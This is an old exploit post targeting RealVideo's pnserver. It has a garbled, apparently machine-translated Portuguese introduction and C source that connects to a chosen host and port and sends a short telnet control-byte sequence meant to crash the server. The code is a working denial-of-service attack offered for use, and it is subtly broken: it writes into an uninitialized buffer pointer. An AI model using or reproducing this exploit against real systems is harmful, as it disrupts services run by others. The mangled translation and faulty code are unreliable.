|
Cortesia dos
pessoas bons no rootshell.
-- transmite --
Isto parece que o bug do pnserver esteve
pensamento primeiro que diferente. O
cliente do telnet envia 6 caracteres que colidem o servidor quando seu
possui
maxbuffer é alcançado. Aqui é uma façanha
que trabalha.
/*
* pnserver exploit [1/15/98]
*
* Redes Progressivas De Colisão Servidor De Vídeo Real [
http://www.real.com/ ]
*
* [ http://www.rootshell.com/ ]
*
* Compiled under linux.
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *hp;
char *buffer;
int sock;
if (argc != 3) {
printf("usage: %s <rvserver_host> <port>\n\nNote: Try
port 7070.\n\n", argv[0]);
exit(1);
}
hp = gethostbyname(argv[1]);
if (hp==NULL) {
printf("Unknown host: %s\n",argv[1]);
exit(1);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock,(struct sockaddr *) &sin, sizeof(sin));
sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6);
write(sock, &buffer[0], strlen(buffer));
close(sock);
}
|